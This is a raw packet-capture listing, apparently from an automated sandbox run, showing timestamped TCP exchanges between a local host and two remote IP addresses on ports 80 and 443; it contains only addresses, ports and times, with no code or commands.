Nov 23, 2024 15:37:28.154664040 CET	80	49724	185.215.113.16	192.168.2.5
Nov 23, 2024 15:37:28.154679060 CET	80	49724	185.215.113.16	192.168.2.5
Nov 23, 2024 15:37:28.154689074 CET	49724	80	192.168.2.5	185.215.113.16
Nov 23, 2024 15:37:28.154692888 CET	80	49724	185.215.113.16	192.168.2.5
Nov 23, 2024 15:37:28.154709101 CET	80	49724	185.215.113.16	192.168.2.5
Nov 23, 2024 15:37:28.154711008 CET	49724	80	192.168.2.5	185.215.113.16
Nov 23, 2024 15:37:28.154722929 CET	49724	80	192.168.2.5	185.215.113.16
Nov 23, 2024 15:37:28.154723883 CET	80	49724	185.215.113.16	192.168.2.5
Nov 23, 2024 15:37:28.154759884 CET	80	49724	185.215.113.16	192.168.2.5
Nov 23, 2024 15:37:28.154761076 CET	49724	80	192.168.2.5	185.215.113.16
Nov 23, 2024 15:37:28.154776096 CET	80	49724	185.215.113.16	192.168.2.5
Nov 23, 2024 15:37:28.154793024 CET	80	49724	185.215.113.16	192.168.2.5
Nov 23, 2024 15:37:28.154808998 CET	80	49724	185.215.113.16	192.168.2.5
Nov 23, 2024 15:37:28.154824972 CET	80	49724	185.215.113.16	192.168.2.5
Nov 23, 2024 15:37:28.154830933 CET	49724	80	192.168.2.5	185.215.113.16
Nov 23, 2024 15:37:28.154839993 CET	80	49724	185.215.113.16	192.168.2.5
Nov 23, 2024 15:37:28.154850960 CET	49724	80	192.168.2.5	185.215.113.16
Nov 23, 2024 15:37:28.154875994 CET	49724	80	192.168.2.5	185.215.113.16
Nov 23, 2024 15:37:28.159267902 CET	80	49724	185.215.113.16	192.168.2.5
Nov 23, 2024 15:37:28.159343958 CET	80	49724	185.215.113.16	192.168.2.5
Nov 23, 2024 15:37:28.159369946 CET	80	49724	185.215.113.16	192.168.2.5
Nov 23, 2024 15:37:28.159384966 CET	80	49724	185.215.113.16	192.168.2.5
Nov 23, 2024 15:37:28.159390926 CET	49724	80	192.168.2.5	185.215.113.16
Nov 23, 2024 15:37:28.159393072 CET	80	49724	185.215.113.16	192.168.2.5
Nov 23, 2024 15:37:28.159408092 CET	80	49724	185.215.113.16	192.168.2.5
Nov 23, 2024 15:37:28.159430981 CET	49724	80	192.168.2.5	185.215.113.16
Nov 23, 2024 15:37:28.159431934 CET	80	49724	185.215.113.16	192.168.2.5
Nov 23, 2024 15:37:28.159457922 CET	49724	80	192.168.2.5	185.215.113.16
Nov 23, 2024 15:37:28.159476042 CET	80	49724	185.215.113.16	192.168.2.5
Nov 23, 2024 15:37:28.159491062 CET	80	49724	185.215.113.16	192.168.2.5
Nov 23, 2024 15:37:28.159506083 CET	80	49724	185.215.113.16	192.168.2.5
Nov 23, 2024 15:37:28.159528017 CET	49724	80	192.168.2.5	185.215.113.16
Nov 23, 2024 15:37:28.159548998 CET	49724	80	192.168.2.5	185.215.113.16
Nov 23, 2024 15:37:28.160012960 CET	80	49724	185.215.113.16	192.168.2.5
Nov 23, 2024 15:37:28.160161972 CET	80	49724	185.215.113.16	192.168.2.5
Nov 23, 2024 15:37:28.160283089 CET	49724	80	192.168.2.5	185.215.113.16
Nov 23, 2024 15:37:28.160937071 CET	80	49724	185.215.113.16	192.168.2.5
Nov 23, 2024 15:37:28.161078930 CET	80	49724	185.215.113.16	192.168.2.5
Nov 23, 2024 15:37:28.161125898 CET	49724	80	192.168.2.5	185.215.113.16
Nov 23, 2024 15:37:28.161907911 CET	80	49724	185.215.113.16	192.168.2.5
Nov 23, 2024 15:37:28.161978960 CET	80	49724	185.215.113.16	192.168.2.5
Nov 23, 2024 15:37:28.162046909 CET	49724	80	192.168.2.5	185.215.113.16
Nov 23, 2024 15:37:28.162854910 CET	80	49724	185.215.113.16	192.168.2.5
Nov 23, 2024 15:37:28.162939072 CET	80	49724	185.215.113.16	192.168.2.5
Nov 23, 2024 15:37:28.162991047 CET	49724	80	192.168.2.5	185.215.113.16
Nov 23, 2024 15:37:28.163746119 CET	80	49724	185.215.113.16	192.168.2.5
Nov 23, 2024 15:37:28.163882971 CET	80	49724	185.215.113.16	192.168.2.5
Nov 23, 2024 15:37:28.163933039 CET	49724	80	192.168.2.5	185.215.113.16
Nov 23, 2024 15:37:28.164735079 CET	80	49724	185.215.113.16	192.168.2.5
Nov 23, 2024 15:37:28.164827108 CET	80	49724	185.215.113.16	192.168.2.5
Nov 23, 2024 15:37:28.164875031 CET	49724	80	192.168.2.5	185.215.113.16
Nov 23, 2024 15:37:28.165623903 CET	80	49724	185.215.113.16	192.168.2.5
Nov 23, 2024 15:37:28.165730000 CET	80	49724	185.215.113.16	192.168.2.5
Nov 23, 2024 15:37:28.165780067 CET	49724	80	192.168.2.5	185.215.113.16
Nov 23, 2024 15:37:28.166270971 CET	443	49725	13.107.246.63	192.168.2.5
Nov 23, 2024 15:37:28.166332960 CET	443	49725	13.107.246.63	192.168.2.5
Nov 23, 2024 15:37:28.166404009 CET	49725	443	192.168.2.5	13.107.246.63
Nov 23, 2024 15:37:28.166539907 CET	80	49724	185.215.113.16	192.168.2.5
Nov 23, 2024 15:37:28.166646004 CET	49725	443	192.168.2.5	13.107.246.63
Nov 23, 2024 15:37:28.166662931 CET	80	49724	185.215.113.16	192.168.2.5
Nov 23, 2024 15:37:28.166663885 CET	443	49725	13.107.246.63	192.168.2.5
Nov 23, 2024 15:37:28.166680098 CET	49725	443	192.168.2.5	13.107.246.63
Nov 23, 2024 15:37:28.166687012 CET	443	49725	13.107.246.63	192.168.2.5
Nov 23, 2024 15:37:28.166723013 CET	49724	80	192.168.2.5	185.215.113.16
Nov 23, 2024 15:37:28.167576075 CET	80	49724	185.215.113.16	192.168.2.5
Nov 23, 2024 15:37:28.167658091 CET	80	49724	185.215.113.16	192.168.2.5
Nov 23, 2024 15:37:28.167803049 CET	49724	80	192.168.2.5	185.215.113.16
Nov 23, 2024 15:37:28.168420076 CET	80	49724	185.215.113.16	192.168.2.5
Nov 23, 2024 15:37:28.168463945 CET	80	49724	185.215.113.16	192.168.2.5
Nov 23, 2024 15:37:28.168520927 CET	49724	80	192.168.2.5	185.215.113.16
Nov 23, 2024 15:37:28.169348955 CET	80	49724	185.215.113.16	192.168.2.5
Nov 23, 2024 15:37:28.169466972 CET	80	49724	185.215.113.16	192.168.2.5
Nov 23, 2024 15:37:28.169532061 CET	49724	80	192.168.2.5	185.215.113.16
Nov 23, 2024 15:37:28.170110941 CET	49730	443	192.168.2.5	13.107.246.63
Nov 23, 2024 15:37:28.170139074 CET	443	49730	13.107.246.63	192.168.2.5
Nov 23, 2024 15:37:28.170312881 CET	49730	443	192.168.2.5	13.107.246.63
Nov 23, 2024 15:37:28.170320988 CET	80	49724	185.215.113.16	192.168.2.5
Nov 23, 2024 15:37:28.170505047 CET	80	49724	185.215.113.16	192.168.2.5
Nov 23, 2024 15:37:28.170558929 CET	49724	80	192.168.2.5	185.215.113.16
Nov 23, 2024 15:37:28.170624018 CET	49730	443	192.168.2.5	13.107.246.63
Nov 23, 2024 15:37:28.170639992 CET	443	49730	13.107.246.63	192.168.2.5
Nov 23, 2024 15:37:28.171228886 CET	80	49724	185.215.113.16	192.168.2.5
Nov 23, 2024 15:37:28.171361923 CET	80	49724	185.215.113.16	192.168.2.5
Nov 23, 2024 15:37:28.171457052 CET	49724	80	192.168.2.5	185.215.113.16
Nov 23, 2024 15:37:28.172168970 CET	80	49724	185.215.113.16	192.168.2.5
Nov 23, 2024 15:37:28.172275066 CET	80	49724	185.215.113.16	192.168.2.5
Nov 23, 2024 15:37:28.172328949 CET	49724	80	192.168.2.5	185.215.113.16
Nov 23, 2024 15:37:28.173213959 CET	80	49724	185.215.113.16	192.168.2.5
Nov 23, 2024 15:37:28.173327923 CET	80	49724	185.215.113.16	192.168.2.5
Nov 23, 2024 15:37:28.173378944 CET	49724	80	192.168.2.5	185.215.113.16
Nov 23, 2024 15:37:28.174103022 CET	80	49724	185.215.113.16	192.168.2.5
Nov 23, 2024 15:37:28.174217939 CET	80	49724	185.215.113.16	192.168.2.5
Nov 23, 2024 15:37:28.174299955 CET	49724	80	192.168.2.5	185.215.113.16
Nov 23, 2024 15:37:28.174990892 CET	80	49724	185.215.113.16	192.168.2.5
Nov 23, 2024 15:37:28.175129890 CET	80	49724	185.215.113.16	192.168.2.5
Nov 23, 2024 15:37:28.175195932 CET	49724	80	192.168.2.5	185.215.113.16
Nov 23, 2024 15:37:28.175901890 CET	80	49724	185.215.113.16	192.168.2.5
Nov 23, 2024 15:37:28.175941944 CET	49724	80	192.168.2.5	185.215.113.16
Nov 23, 2024 15:37:28.176060915 CET	80	49724	185.215.113.16	192.168.2.5
Nov 23, 2024 15:37:28.177256107 CET	49724	80	192.168.2.5	185.215.113.16
Nov 23, 2024 15:37:28.177294970 CET	80	49724	185.215.113.16	192.168.2.5
Nov 23, 2024 15:37:28.177360058 CET	80	49724	185.215.113.16	192.168.2.5
Nov 23, 2024 15:37:28.177810907 CET	80	49724	185.215.113.16	192.168.2.5
Nov 23, 2024 15:37:28.177839041 CET	80	49724	185.215.113.16	192.168.2.5
Nov 23, 2024 15:37:28.177860975 CET	49724	80	192.168.2.5	185.215.113.16
Nov 23, 2024 15:37:28.177892923 CET	49724	80	192.168.2.5	185.215.113.16
Nov 23, 2024 15:37:28.178736925 CET	80	49724	185.215.113.16	192.168.2.5
Nov 23, 2024 15:37:28.178857088 CET	80	49724	185.215.113.16	192.168.2.5
Nov 23, 2024 15:37:28.179630041 CET	80	49724	185.215.113.16	192.168.2.5
Nov 23, 2024 15:37:28.179707050 CET	49724	80	192.168.2.5	185.215.113.16
Nov 23, 2024 15:37:28.179749012 CET	80	49724	185.215.113.16	192.168.2.5
Nov 23, 2024 15:37:28.179888964 CET	49724	80	192.168.2.5	185.215.113.16
Nov 23, 2024 15:37:28.180648088 CET	80	49724	185.215.113.16	192.168.2.5
Nov 23, 2024 15:37:28.180675983 CET	80	49724	185.215.113.16	192.168.2.5
Nov 23, 2024 15:37:28.180727005 CET	49724	80	192.168.2.5	185.215.113.16
Nov 23, 2024 15:37:28.181495905 CET	80	49724	185.215.113.16	192.168.2.5
Nov 23, 2024 15:37:28.181623936 CET	80	49724	185.215.113.16	192.168.2.5
Nov 23, 2024 15:37:28.181684017 CET	49724	80	192.168.2.5	185.215.113.16
Nov 23, 2024 15:37:28.182437897 CET	80	49724	185.215.113.16	192.168.2.5
Nov 23, 2024 15:37:28.182568073 CET	80	49724	185.215.113.16	192.168.2.5
Nov 23, 2024 15:37:28.182621956 CET	49724	80	192.168.2.5	185.215.113.16
Nov 23, 2024 15:37:28.183415890 CET	80	49724	185.215.113.16	192.168.2.5
Nov 23, 2024 15:37:28.183492899 CET	80	49724	185.215.113.16	192.168.2.5
Nov 23, 2024 15:37:28.183634043 CET	49724	80	192.168.2.5	185.215.113.16
Nov 23, 2024 15:37:28.184477091 CET	80	49724	185.215.113.16	192.168.2.5
Nov 23, 2024 15:37:28.184609890 CET	80	49724	185.215.113.16	192.168.2.5
Nov 23, 2024 15:37:28.184668064 CET	49724	80	192.168.2.5	185.215.113.16
Nov 23, 2024 15:37:28.185276031 CET	80	49724	185.215.113.16	192.168.2.5
Nov 23, 2024 15:37:28.185561895 CET	80	49724	185.215.113.16	192.168.2.5
Nov 23, 2024 15:37:28.185627937 CET	49724	80	192.168.2.5	185.215.113.16
Nov 23, 2024 15:37:28.186213970 CET	80	49724	185.215.113.16	192.168.2.5
Nov 23, 2024 15:37:28.186431885 CET	80	49724	185.215.113.16	192.168.2.5
Nov 23, 2024 15:37:28.186476946 CET	49724	80	192.168.2.5	185.215.113.16
Nov 23, 2024 15:37:28.187128067 CET	80	49724	185.215.113.16	192.168.2.5
Nov 23, 2024 15:37:28.187246084 CET	80	49724	185.215.113.16	192.168.2.5
Nov 23, 2024 15:37:28.187294960 CET	49724	80	192.168.2.5	185.215.113.16
Nov 23, 2024 15:37:28.188009977 CET	80	49724	185.215.113.16	192.168.2.5
Nov 23, 2024 15:37:28.188131094 CET	80	49724	185.215.113.16	192.168.2.5
Nov 23, 2024 15:37:28.188669920 CET	49724	80	192.168.2.5	185.215.113.16
Nov 23, 2024 15:37:28.188986063 CET	80	49724	185.215.113.16	192.168.2.5
Nov 23, 2024 15:37:28.189069033 CET	80	49724	185.215.113.16	192.168.2.5
Nov 23, 2024 15:37:28.189121008 CET	49724	80	192.168.2.5	185.215.113.16
Nov 23, 2024 15:37:28.189901114 CET	80	49724	185.215.113.16	192.168.2.5
Nov 23, 2024 15:37:28.190040112 CET	80	49724	185.215.113.16	192.168.2.5
Nov 23, 2024 15:37:28.190093994 CET	49724	80	192.168.2.5	185.215.113.16
Nov 23, 2024 15:37:28.190779924 CET	80	49724	185.215.113.16	192.168.2.5
Nov 23, 2024 15:37:28.197540045 CET	49724	80	192.168.2.5	185.215.113.16
Nov 23, 2024 15:37:28.280200005 CET	443	49727	13.107.246.63	192.168.2.5
Nov 23, 2024 15:37:28.280298948 CET	443	49727	13.107.246.63	192.168.2.5
Nov 23, 2024 15:37:28.280459881 CET	49727	443	192.168.2.5	13.107.246.63
Nov 23, 2024 15:37:28.280775070 CET	49727	443	192.168.2.5	13.107.246.63
Nov 23, 2024 15:37:28.280775070 CET	49727	443	192.168.2.5	13.107.246.63
Nov 23, 2024 15:37:28.280822992 CET	443	49727	13.107.246.63	192.168.2.5
Nov 23, 2024 15:37:28.280849934 CET	443	49727	13.107.246.63	192.168.2.5
Nov 23, 2024 15:37:28.284718990 CET	49731	443	192.168.2.5	13.107.246.63
Nov 23, 2024 15:37:28.284780979 CET	443	49731	13.107.246.63	192.168.2.5
Nov 23, 2024 15:37:28.284882069 CET	49731	443	192.168.2.5	13.107.246.63
Nov 23, 2024 15:37:28.285533905 CET	49731	443	192.168.2.5	13.107.246.63
Nov 23, 2024 15:37:28.285554886 CET	443	49731	13.107.246.63	192.168.2.5
Nov 23, 2024 15:37:28.287012100 CET	443	49726	13.107.246.63	192.168.2.5
Nov 23, 2024 15:37:28.287189960 CET	443	49726	13.107.246.63	192.168.2.5
Nov 23, 2024 15:37:28.287276030 CET	49726	443	192.168.2.5	13.107.246.63
Nov 23, 2024 15:37:28.287345886 CET	49726	443	192.168.2.5	13.107.246.63
Nov 23, 2024 15:37:28.287364960 CET	443	49726	13.107.246.63	192.168.2.5
Nov 23, 2024 15:37:28.287385941 CET	49726	443	192.168.2.5	13.107.246.63
Nov 23, 2024 15:37:28.287395000 CET	443	49726	13.107.246.63	192.168.2.5
Nov 23, 2024 15:37:28.292054892 CET	49732	443	192.168.2.5	13.107.246.63
Nov 23, 2024 15:37:28.292118073 CET	443	49732	13.107.246.63	192.168.2.5
Nov 23, 2024 15:37:28.292176008 CET	49732	443	192.168.2.5	13.107.246.63
Nov 23, 2024 15:37:28.292391062 CET	49732	443	192.168.2.5	13.107.246.63
Nov 23, 2024 15:37:28.292409897 CET	443	49732	13.107.246.63	192.168.2.5
Nov 23, 2024 15:37:28.334000111 CET	80	49724	185.215.113.16	192.168.2.5
Nov 23, 2024 15:37:28.334073067 CET	80	49724	185.215.113.16	192.168.2.5
Nov 23, 2024 15:37:28.334130049 CET	49724	80	192.168.2.5	185.215.113.16
Nov 23, 2024 15:37:28.334547043 CET	80	49724	185.215.113.16	192.168.2.5
Nov 23, 2024 15:37:28.334563971 CET	80	49724	185.215.113.16	192.168.2.5
Nov 23, 2024 15:37:28.334620953 CET	49724	80	192.168.2.5	185.215.113.16
Nov 23, 2024 15:37:28.335155964 CET	80	49724	185.215.113.16	192.168.2.5
Nov 23, 2024 15:37:28.335205078 CET	80	49724	185.215.113.16	192.168.2.5
Nov 23, 2024 15:37:28.335350037 CET	49724	80	192.168.2.5	185.215.113.16
Nov 23, 2024 15:37:28.336075068 CET	80	49724	185.215.113.16	192.168.2.5
Nov 23, 2024 15:37:28.336185932 CET	80	49724	185.215.113.16	192.168.2.5
Nov 23, 2024 15:37:28.336251974 CET	49724	80	192.168.2.5	185.215.113.16
Nov 23, 2024 15:37:28.337013960 CET	80	49724	185.215.113.16	192.168.2.5
Nov 23, 2024 15:37:28.337129116 CET	80	49724	185.215.113.16	192.168.2.5
Nov 23, 2024 15:37:28.337248087 CET	49724	80	192.168.2.5	185.215.113.16
Nov 23, 2024 15:37:28.337975979 CET	80	49724	185.215.113.16	192.168.2.5
Nov 23, 2024 15:37:28.338110924 CET	80	49724	185.215.113.16	192.168.2.5
Nov 23, 2024 15:37:28.338166952 CET	49724	80	192.168.2.5	185.215.113.16
Nov 23, 2024 15:37:28.339368105 CET	80	49724	185.215.113.16	192.168.2.5
Nov 23, 2024 15:37:28.339502096 CET	80	49724	185.215.113.16	192.168.2.5
Nov 23, 2024 15:37:28.339807987 CET	49724	80	192.168.2.5	185.215.113.16
Nov 23, 2024 15:37:28.340569019 CET	80	49724	185.215.113.16	192.168.2.5
Nov 23, 2024 15:37:28.340646029 CET	80	49724	185.215.113.16	192.168.2.5
Nov 23, 2024 15:37:28.340750933 CET	49724	80	192.168.2.5	185.215.113.16
Nov 23, 2024 15:37:28.341094017 CET	80	49724	185.215.113.16	192.168.2.5
Nov 23, 2024 15:37:28.341217041 CET	80	49724	185.215.113.16	192.168.2.5
Nov 23, 2024 15:37:28.341531038 CET	49724	80	192.168.2.5	185.215.113.16
Nov 23, 2024 15:37:28.341825962 CET	80	49724	185.215.113.16	192.168.2.5
Nov 23, 2024 15:37:28.341948986 CET	80	49724	185.215.113.16	192.168.2.5
Nov 23, 2024 15:37:28.342034101 CET	49724	80	192.168.2.5	185.215.113.16
Nov 23, 2024 15:37:28.342935085 CET	80	49724	185.215.113.16	192.168.2.5
Nov 23, 2024 15:37:28.343111038 CET	80	49724	185.215.113.16	192.168.2.5
Nov 23, 2024 15:37:28.343168020 CET	49724	80	192.168.2.5	185.215.113.16
Nov 23, 2024 15:37:28.343794107 CET	80	49724	185.215.113.16	192.168.2.5
Nov 23, 2024 15:37:28.343859911 CET	80	49724	185.215.113.16	192.168.2.5
Nov 23, 2024 15:37:28.343904018 CET	49724	80	192.168.2.5	185.215.113.16
Nov 23, 2024 15:37:28.344511986 CET	80	49724	185.215.113.16	192.168.2.5
Nov 23, 2024 15:37:28.344624043 CET	80	49724	185.215.113.16	192.168.2.5
Nov 23, 2024 15:37:28.344710112 CET	49724	80	192.168.2.5	185.215.113.16
Nov 23, 2024 15:37:28.345639944 CET	80	49724	185.215.113.16	192.168.2.5
Nov 23, 2024 15:37:28.345838070 CET	80	49724	185.215.113.16	192.168.2.5
Nov 23, 2024 15:37:28.346499920 CET	49724	80	192.168.2.5	185.215.113.16
Nov 23, 2024 15:37:28.346580029 CET	80	49724	185.215.113.16	192.168.2.5
Nov 23, 2024 15:37:28.346592903 CET	80	49724	185.215.113.16	192.168.2.5
Nov 23, 2024 15:37:28.346868992 CET	49724	80	192.168.2.5	185.215.113.16
Nov 23, 2024 15:37:28.347258091 CET	80	49724	185.215.113.16	192.168.2.5
Nov 23, 2024 15:37:28.347382069 CET	80	49724	185.215.113.16	192.168.2.5
Nov 23, 2024 15:37:28.347465038 CET	49724	80	192.168.2.5	185.215.113.16
Nov 23, 2024 15:37:28.348198891 CET	80	49724	185.215.113.16	192.168.2.5
Nov 23, 2024 15:37:28.348304987 CET	80	49724	185.215.113.16	192.168.2.5
Nov 23, 2024 15:37:28.348423958 CET	49724	80	192.168.2.5	185.215.113.16
Nov 23, 2024 15:37:28.349160910 CET	80	49724	185.215.113.16	192.168.2.5
Nov 23, 2024 15:37:28.349260092 CET	80	49724	185.215.113.16	192.168.2.5
Nov 23, 2024 15:37:28.349315882 CET	49724	80	192.168.2.5	185.215.113.16
Nov 23, 2024 15:37:28.350121975 CET	80	49724	185.215.113.16	192.168.2.5
Nov 23, 2024 15:37:28.350186110 CET	80	49724	185.215.113.16	192.168.2.5
Nov 23, 2024 15:37:28.350239992 CET	49724	80	192.168.2.5	185.215.113.16
Nov 23, 2024 15:37:28.351105928 CET	80	49724	185.215.113.16	192.168.2.5
Nov 23, 2024 15:37:28.351139069 CET	80	49724	185.215.113.16	192.168.2.5
Nov 23, 2024 15:37:28.351237059 CET	49724	80	192.168.2.5	185.215.113.16
Nov 23, 2024 15:37:28.351948023 CET	80	49724	185.215.113.16	192.168.2.5
Nov 23, 2024 15:37:28.352051020 CET	80	49724	185.215.113.16	192.168.2.5
Nov 23, 2024 15:37:28.352104902 CET	49724	80	192.168.2.5	185.215.113.16
Nov 23, 2024 15:37:28.352883101 CET	80	49724	185.215.113.16	192.168.2.5
Nov 23, 2024 15:37:28.352998018 CET	80	49724	185.215.113.16	192.168.2.5
Nov 23, 2024 15:37:28.353075981 CET	49724	80	192.168.2.5	185.215.113.16
Nov 23, 2024 15:37:28.353825092 CET	80	49724	185.215.113.16	192.168.2.5
Nov 23, 2024 15:37:28.353928089 CET	80	49724	185.215.113.16	192.168.2.5
Nov 23, 2024 15:37:28.354008913 CET	49724	80	192.168.2.5	185.215.113.16
Nov 23, 2024 15:37:28.354749918 CET	80	49724	185.215.113.16	192.168.2.5
Nov 23, 2024 15:37:28.354835987 CET	80	49724	185.215.113.16	192.168.2.5
Nov 23, 2024 15:37:28.354882956 CET	49724	80	192.168.2.5	185.215.113.16
Nov 23, 2024 15:37:28.355678082 CET	80	49724	185.215.113.16	192.168.2.5
Nov 23, 2024 15:37:28.355804920 CET	80	49724	185.215.113.16	192.168.2.5
Nov 23, 2024 15:37:28.355936050 CET	49724	80	192.168.2.5	185.215.113.16
Nov 23, 2024 15:37:28.356617928 CET	80	49724	185.215.113.16	192.168.2.5
Nov 23, 2024 15:37:28.356729031 CET	80	49724	185.215.113.16	192.168.2.5
Nov 23, 2024 15:37:28.356837988 CET	49724	80	192.168.2.5	185.215.113.16
Nov 23, 2024 15:37:28.357620955 CET	80	49724	185.215.113.16	192.168.2.5
Nov 23, 2024 15:37:28.357709885 CET	80	49724	185.215.113.16	192.168.2.5
Nov 23, 2024 15:37:28.357815027 CET	49724	80	192.168.2.5	185.215.113.16
Nov 23, 2024 15:37:28.358468056 CET	80	49724	185.215.113.16	192.168.2.5
Nov 23, 2024 15:37:28.358582020 CET	80	49724	185.215.113.16	192.168.2.5
Nov 23, 2024 15:37:28.358700991 CET	49724	80	192.168.2.5	185.215.113.16
Nov 23, 2024 15:37:28.359488964 CET	80	49724	185.215.113.16	192.168.2.5
Nov 23, 2024 15:37:28.359739065 CET	80	49724	185.215.113.16	192.168.2.5
Nov 23, 2024 15:37:28.359806061 CET	49724	80	192.168.2.5	185.215.113.16
Nov 23, 2024 15:37:28.360341072 CET	80	49724	185.215.113.16	192.168.2.5
Nov 23, 2024 15:37:28.360471964 CET	80	49724	185.215.113.16	192.168.2.5
Nov 23, 2024 15:37:28.360548973 CET	49724	80	192.168.2.5	185.215.113.16
Nov 23, 2024 15:37:28.361273050 CET	80	49724	185.215.113.16	192.168.2.5
Nov 23, 2024 15:37:28.361341953 CET	80	49724	185.215.113.16	192.168.2.5
Nov 23, 2024 15:37:28.361478090 CET	49724	80	192.168.2.5	185.215.113.16
Nov 23, 2024 15:37:28.362303019 CET	80	49724	185.215.113.16	192.168.2.5
Nov 23, 2024 15:37:28.362349033 CET	80	49724	185.215.113.16	192.168.2.5
Nov 23, 2024 15:37:28.362396002 CET	49724	80	192.168.2.5	185.215.113.16
Nov 23, 2024 15:37:28.363189936 CET	80	49724	185.215.113.16	192.168.2.5
Nov 23, 2024 15:37:28.363441944 CET	80	49724	185.215.113.16	192.168.2.5
Nov 23, 2024 15:37:28.363488913 CET	49724	80	192.168.2.5	185.215.113.16
Nov 23, 2024 15:37:28.364272118 CET	80	49724	185.215.113.16	192.168.2.5
Nov 23, 2024 15:37:28.364331961 CET	80	49724	185.215.113.16	192.168.2.5
Nov 23, 2024 15:37:28.364382029 CET	49724	80	192.168.2.5	185.215.113.16
Nov 23, 2024 15:37:28.365027905 CET	80	49724	185.215.113.16	192.168.2.5
Nov 23, 2024 15:37:28.365138054 CET	80	49724	185.215.113.16	192.168.2.5
Nov 23, 2024 15:37:28.365186930 CET	49724	80	192.168.2.5	185.215.113.16
Nov 23, 2024 15:37:28.366158962 CET	80	49724	185.215.113.16	192.168.2.5
Nov 23, 2024 15:37:28.366267920 CET	80	49724	185.215.113.16	192.168.2.5
Nov 23, 2024 15:37:28.366338015 CET	49724	80	192.168.2.5	185.215.113.16
Nov 23, 2024 15:37:28.366939068 CET	80	49724	185.215.113.16	192.168.2.5
Nov 23, 2024 15:37:28.367069006 CET	80	49724	185.215.113.16	192.168.2.5
Nov 23, 2024 15:37:28.367120028 CET	49724	80	192.168.2.5	185.215.113.16
Nov 23, 2024 15:37:28.367811918 CET	80	49724	185.215.113.16	192.168.2.5
Nov 23, 2024 15:37:28.367990971 CET	80	49724	185.215.113.16	192.168.2.5
Nov 23, 2024 15:37:28.368119955 CET	49724	80	192.168.2.5	185.215.113.16
Nov 23, 2024 15:37:28.368858099 CET	80	49724	185.215.113.16	192.168.2.5
Nov 23, 2024 15:37:28.368921995 CET	80	49724	185.215.113.16	192.168.2.5
Nov 23, 2024 15:37:28.368973017 CET	49724	80	192.168.2.5	185.215.113.16
Nov 23, 2024 15:37:28.369668007 CET	80	49724	185.215.113.16	192.168.2.5
Nov 23, 2024 15:37:28.369807005 CET	80	49724	185.215.113.16	192.168.2.5
Nov 23, 2024 15:37:28.370069981 CET	49724	80	192.168.2.5	185.215.113.16
Nov 23, 2024 15:37:28.370433092 CET	443	49729	13.107.246.63	192.168.2.5
Nov 23, 2024 15:37:28.370588064 CET	443	49729	13.107.246.63	192.168.2.5
Nov 23, 2024 15:37:28.370635986 CET	80	49724	185.215.113.16	192.168.2.5
Nov 23, 2024 15:37:28.370652914 CET	49729	443	192.168.2.5	13.107.246.63
Nov 23, 2024 15:37:28.370702028 CET	80	49724	185.215.113.16	192.168.2.5
Nov 23, 2024 15:37:28.370853901 CET	49724	80	192.168.2.5	185.215.113.16
Nov 23, 2024 15:37:28.371529102 CET	80	49724	185.215.113.16	192.168.2.5
Nov 23, 2024 15:37:28.371622086 CET	80	49724	185.215.113.16	192.168.2.5
Nov 23, 2024 15:37:28.371666908 CET	49724	80	192.168.2.5	185.215.113.16
Nov 23, 2024 15:37:28.372518063 CET	80	49724	185.215.113.16	192.168.2.5
Nov 23, 2024 15:37:28.372575998 CET	80	49724	185.215.113.16	192.168.2.5
Nov 23, 2024 15:37:28.372670889 CET	49724	80	192.168.2.5	185.215.113.16
Nov 23, 2024 15:37:28.372951984 CET	443	49728	13.107.246.63	192.168.2.5
Nov 23, 2024 15:37:28.373055935 CET	443	49728	13.107.246.63	192.168.2.5
Nov 23, 2024 15:37:28.373249054 CET	49728	443	192.168.2.5	13.107.246.63
Nov 23, 2024 15:37:28.373424053 CET	80	49724	185.215.113.16	192.168.2.5
Nov 23, 2024 15:37:28.373538971 CET	80	49724	185.215.113.16	192.168.2.5
Nov 23, 2024 15:37:28.373727083 CET	49724	80	192.168.2.5	185.215.113.16
Nov 23, 2024 15:37:28.374360085 CET	80	49724	185.215.113.16	192.168.2.5
Nov 23, 2024 15:37:28.374454021 CET	80	49724	185.215.113.16	192.168.2.5
Nov 23, 2024 15:37:28.374870062 CET	49724	80	192.168.2.5	185.215.113.16
Nov 23, 2024 15:37:28.375296116 CET	80	49724	185.215.113.16	192.168.2.5
Nov 23, 2024 15:37:28.375389099 CET	80	49724	185.215.113.16	192.168.2.5
Nov 23, 2024 15:37:28.375436068 CET	49724	80	192.168.2.5	185.215.113.16
Nov 23, 2024 15:37:28.376209021 CET	80	49724	185.215.113.16	192.168.2.5
Nov 23, 2024 15:37:28.376349926 CET	80	49724	185.215.113.16	192.168.2.5
Nov 23, 2024 15:37:28.376425982 CET	49724	80	192.168.2.5	185.215.113.16
Nov 23, 2024 15:37:28.377160072 CET	80	49724	185.215.113.16	192.168.2.5
Nov 23, 2024 15:37:28.377279043 CET	80	49724	185.215.113.16	192.168.2.5
Nov 23, 2024 15:37:28.377325058 CET	49724	80	192.168.2.5	185.215.113.16
Nov 23, 2024 15:37:28.378123999 CET	80	49724	185.215.113.16	192.168.2.5
Nov 23, 2024 15:37:28.378191948 CET	80	49724	185.215.113.16	192.168.2.5
Nov 23, 2024 15:37:28.378312111 CET	49724	80	192.168.2.5	185.215.113.16
Nov 23, 2024 15:37:28.379070997 CET	80	49724	185.215.113.16	192.168.2.5
Nov 23, 2024 15:37:28.379210949 CET	80	49724	185.215.113.16	192.168.2.5
Nov 23, 2024 15:37:28.379256964 CET	49724	80	192.168.2.5	185.215.113.16
Nov 23, 2024 15:37:28.379962921 CET	80	49724	185.215.113.16	192.168.2.5
Nov 23, 2024 15:37:28.380039930 CET	80	49724	185.215.113.16	192.168.2.5
Nov 23, 2024 15:37:28.380165100 CET	49724	80	192.168.2.5	185.215.113.16
Nov 23, 2024 15:37:28.380851030 CET	80	49724	185.215.113.16	192.168.2.5
Nov 23, 2024 15:37:28.380974054 CET	80	49724	185.215.113.16	192.168.2.5
Nov 23, 2024 15:37:28.381062984 CET	49724	80	192.168.2.5	185.215.113.16
Nov 23, 2024 15:37:28.381798983 CET	80	49724	185.215.113.16	192.168.2.5
Nov 23, 2024 15:37:28.381912947 CET	80	49724	185.215.113.16	192.168.2.5
Nov 23, 2024 15:37:28.382030010 CET	49724	80	192.168.2.5	185.215.113.16
Nov 23, 2024 15:37:28.382783890 CET	80	49724	185.215.113.16	192.168.2.5
Nov 23, 2024 15:37:28.390417099 CET	49729	443	192.168.2.5	13.107.246.63
Nov 23, 2024 15:37:28.390439034 CET	443	49729	13.107.246.63	192.168.2.5
Nov 23, 2024 15:37:28.392683029 CET	49728	443	192.168.2.5	13.107.246.63
